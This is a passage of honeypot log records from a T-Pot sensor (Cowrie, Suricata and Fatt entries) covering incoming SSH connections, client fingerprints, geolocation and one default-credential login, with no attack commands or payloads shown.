0\\\\x00\\\\x00\\\\x00\\\\x00\\"", "session": "5844e5d6f1e2", "@version": "1", "dest_port": 443, "timestamp": "2021-09-20T11:35:05.899590Z", "@timestamp": "2021-09-20T11:35:05.899Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.direct-tcpip.data	\N	\N	\N
30424	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:35:07.073318+03	2021-09-20 14:45:02.986141+03	{"_id": "ngb8AnwBvYTbRNuE_zz_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 128.199.123.0:50604 (192.168.176.2:22) [session: 1c990e26a281]", "session": "1c990e26a281", "@version": "1", "protocol": "ssh", "src_port": 50604, "dest_port": 22, "timestamp": "2021-09-20T11:35:07.073318Z", "@timestamp": "2021-09-20T11:35:07.073Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
30425	128.199.123.0	109.199.241.180	Suricata	2021-09-20 14:35:07.246235+03	2021-09-20 14:45:02.987142+03	{"_id": "nwb9AnwBvYTbRNuEATyt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh-0.6.3"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "128.199.123.0", "dest_ip": "192.168.20.116", "flow_id": 1293276693577484, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 50604, "dest_port": 22, "timestamp": "2021-09-20T11:35:07.246235Z", "@timestamp": "2021-09-20T11:35:07.246Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
30426	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:35:07.248988+03	2021-09-20 14:45:02.988142+03	{"_id": "oAb9AnwBvYTbRNuEAjy4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "128.199.123.0", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 50604, "timestamp": "2021-09-20T11:35:07.248988", "@timestamp": "2021-09-20T11:35:07.248Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
30432	8.20.123.149	109.199.241.180	Cowrie	2021-09-20 14:35:00.848853+03	2021-09-20 14:45:02.997142+03	{"_id": "iwb8AnwBvYTbRNuE6DyL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.20.123.149", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.20.123.149", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 8.20.123.149:63195 (192.168.176.2:22) [session: 5844e5d6f1e2]", "session": "5844e5d6f1e2", "@version": "1", "protocol": "ssh", "src_port": 63195, "dest_port": 22, "timestamp": "2021-09-20T11:35:00.848853Z", "@timestamp": "2021-09-20T11:35:00.848Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
30427	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:35:07.418927+03	2021-09-20 14:45:02.990142+03	{"_id": "owb9AnwBvYTbRNuEAzzo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "3des-cbc", "des-cbc-ssh1"], "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "hassh": "51cba57125523ce4b9db67714a90bf6e", "macCS": ["hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 51cba57125523ce4b9db67714a90bf6e", "session": "1c990e26a281", "@version": "1", "timestamp": "2021-09-20T11:35:07.418927Z", "@timestamp": "2021-09-20T11:35:07.418Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1;hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
30428	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:34:58.713837+03	2021-09-20 14:45:02.991142+03	{"_id": "ewb8AnwBvYTbRNuE4Dy6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "428285ae0334", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:34:58.713837Z", "@timestamp": "2021-09-20T11:34:58.713Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
30429	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:34:58.979654+03	2021-09-20 14:45:02.992142+03	{"_id": "fQb8AnwBvYTbRNuE4Dy6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "428285ae0334", "@version": "1", "timestamp": "2021-09-20T11:34:58.979654Z", "@timestamp": "2021-09-20T11:34:58.979Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
30430	1.117.219.217	109.199.241.180	Suricata	2021-09-20 14:34:58.975159+03	2021-09-20 14:45:02.993142+03	{"_id": "gAb8AnwBvYTbRNuE4jxq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "1.117.219.217", "dest_ip": "192.168.20.116", "flow_id": 547011092983078, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 57772, "dest_port": 22, "timestamp": "2021-09-20T11:34:58.975159Z", "@timestamp": "2021-09-20T11:34:58.975Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
30431	8.20.123.149	109.199.241.180	Fatt	2021-09-20 14:35:01.016521+03	2021-09-20 14:45:02.995143+03	{"_id": "hAb8AnwBvYTbRNuE5zxd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "8.20.123.149", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "src_ip": "8.20.123.149", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-1.3.132.0.10,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,diffie-hellman-group16-sha512,diffie-hellman-group15-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "rsa-sha2-512,rsa-sha2-256,ssh-ed25519,ecdsa-sha2-1.3.132.0.10,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ssh-rsa,ssh-dss", "hassh": "63bec3855e65ea71385ce2634bf2f234", "ccacts": "none,zlib", "ccastc": "none,zlib", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr", "client": "SSH-2.0-8.35 FlowSsh: FlowSshNet_SftpStress127.21.61.9352151109.199.241.180", "cmacts": "hmac-sha2-256,hmac-sha1", "cmastc": "hmac-sha2-256,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-1.3.132.0.10,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,diffie-hellman-group16-sha512,diffie-hellman-group15-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr;hmac-sha2-256,hmac-sha1;none,zlib"}, "protocol": "ssh", "src_port": 63195, "dest_port": 22, "timestamp": "2021-09-20T11:35:01.016521", "@timestamp": "2021-09-20T11:35:01.016Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
30433	8.20.123.149	109.199.241.180	Cowrie	2021-09-20 14:35:01.016817+03	2021-09-20 14:45:02.998141+03	{"_id": "jAb8AnwBvYTbRNuE6DyL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "3des-ctr"], "geoip": {"ip": "8.20.123.149", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "hassh": "63bec3855e65ea71385ce2634bf2f234", "macCS": ["hmac-sha2-256", "hmac-sha1"], "compCS": ["none", "zlib"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "8.20.123.149", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-1.3.132.0.10", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "diffie-hellman-group16-sha512", "diffie-hellman-group15-sha512", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "ext-info-c"], "keyAlgs": ["rsa-sha2-512", "rsa-sha2-256", "ssh-ed25519", "ecdsa-sha2-1.3.132.0.10", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 63bec3855e65ea71385ce2634bf2f234", "session": "5844e5d6f1e2", "@version": "1", "timestamp": "2021-09-20T11:35:01.016817Z", "@timestamp": "2021-09-20T11:35:01.016Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-1.3.132.0.10,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,diffie-hellman-group16-sha512,diffie-hellman-group15-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr;hmac-sha2-256,hmac-sha1;none,zlib"}}	1	\N	cowrie.client.kex	\N	\N	\N
30434	8.20.123.149	109.199.241.180	Cowrie	2021-09-20 14:35:01.357724+03	2021-09-20 14:45:02.999145+03	{"_id": "jQb8AnwBvYTbRNuE6DyL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.20.123.149", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.20.123.149", "eventid": "cowrie.login.success", "message": "login attempt [user/user] succeeded", "session": "5844e5d6f1e2", "@version": "1", "password": "user", "username": "user", "timestamp": "2021-09-20T11:35:01.357724Z", "@timestamp": "2021-09-20T11:35:01.357Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.success	\N	\N	\N
30435	8.20.123.149	109.199.241.180	Suricata	2021-09-20 14:35:01.016521+03	2021-09-20 14:45:03.001144+03	{"_id": "jgb8AnwBvYTbRNuE6jw7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "8.35 FlowSsh: FlowSshNet_SftpStress127.21.61.9352151109.199.241.180"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "8.20.123.149", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "8.20.123.149", "dest_ip": "192.168.20.116", "flow_id": 1908307420015485, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 63195, "dest_port": 22, "timestamp": "2021-09-20T11:35:01.016521Z", "@timestamp": "2021-09-20T11:35:01.016Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
30436	222.187.232.60	109.199.241.180	Cowrie	2021-09-20 14:34:52.38283+03	2021-09-20 14:45:03.002143+03	{"_id": "aQb8AnwBvYTbRNuExTxd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "222.187.232.60", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "222.187.232.60", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 222.187.232.60:47685 (192.168.176.2:22) [session: ade4b39ff8de]", "session": "ade4b39ff8de", "@version": "1", "protocol": "ssh", "src_port": 47685, "dest_port": 22, "timestamp": "2021-09-20T11:34:52.382830Z", "@timestamp": "2021-09-20T11:34:52.382Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
30437	222.187.232.60	109.199.241.180	Cowrie	2021-09-20 14:34:52.385689+03	2021-09-20 14:45:03.004142+03	{"_id": "agb8AnwBvYTbRNuExTxd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "222.187.232.60", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "222.187.232.60", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-PUTTY'", "session": "ade4b39ff8de", "version": "b'SSH-2.0-PUTTY'", "@version": "1", "timestamp": "2021-09-20T11:34:52.385689Z", "@timestamp": "2021-09-20T11:34:52.385Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
30438	222.187.232.60	109.199.241.180	Suricata	2021-09-20 14:34:52.648763+03	2021-09-20 14:45:03.005143+03	{"_id": "awb8AnwBvYTbRNuExzwO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "PUTTY"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "222.187.232.60", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "222.187.232.60", "dest_ip": "192.168.20.116", "flow_id": 933644048584789, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 47685, "dest_port": 22, "timestamp": "2021-09-20T11:34:52.648763Z", "@timestamp": "2021-09-20T11:34:52.648Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
30439	222.187.232.60	109.199.241.180	Fatt	2021-09-20 14:34:52.64889+03	2021-09-20 14:45:03.006171+03	{"_id": "bgb8AnwBvYTbRNuEyDwZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "222.187.232.60", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "222.187.232.60", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss", "hassh": "1616c6d18e845e7a01168a44591f7a35", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "ceastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "client": "SSH-2.0-PUTTY", "cmacts": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "cmastc": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "hasshVersion": "1.0", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}, "protocol": "ssh", "src_port": 47685, "dest_port": 22, "timestamp": "2021-09-20T11:34:52.648890", "@timestamp": "2021-09-20T11:34:52.648Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
30440	222.187.232.60	109.199.241.180	Cowrie	2021-09-20 14:34:52.649498+03	2021-09-20 14:45:03.007143+03	{"_id": "cAb8AnwBvYTbRNuEyTxG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-ctr", "aes192-ctr", "aes256-ctr", "aes256-cbc", "rijndael-cbc@lysator.liu.se", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "arcfour128", "arcfour", "cast128-cbc", "3des-cbc"], "geoip": {"ip": "222.187.232.60", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": 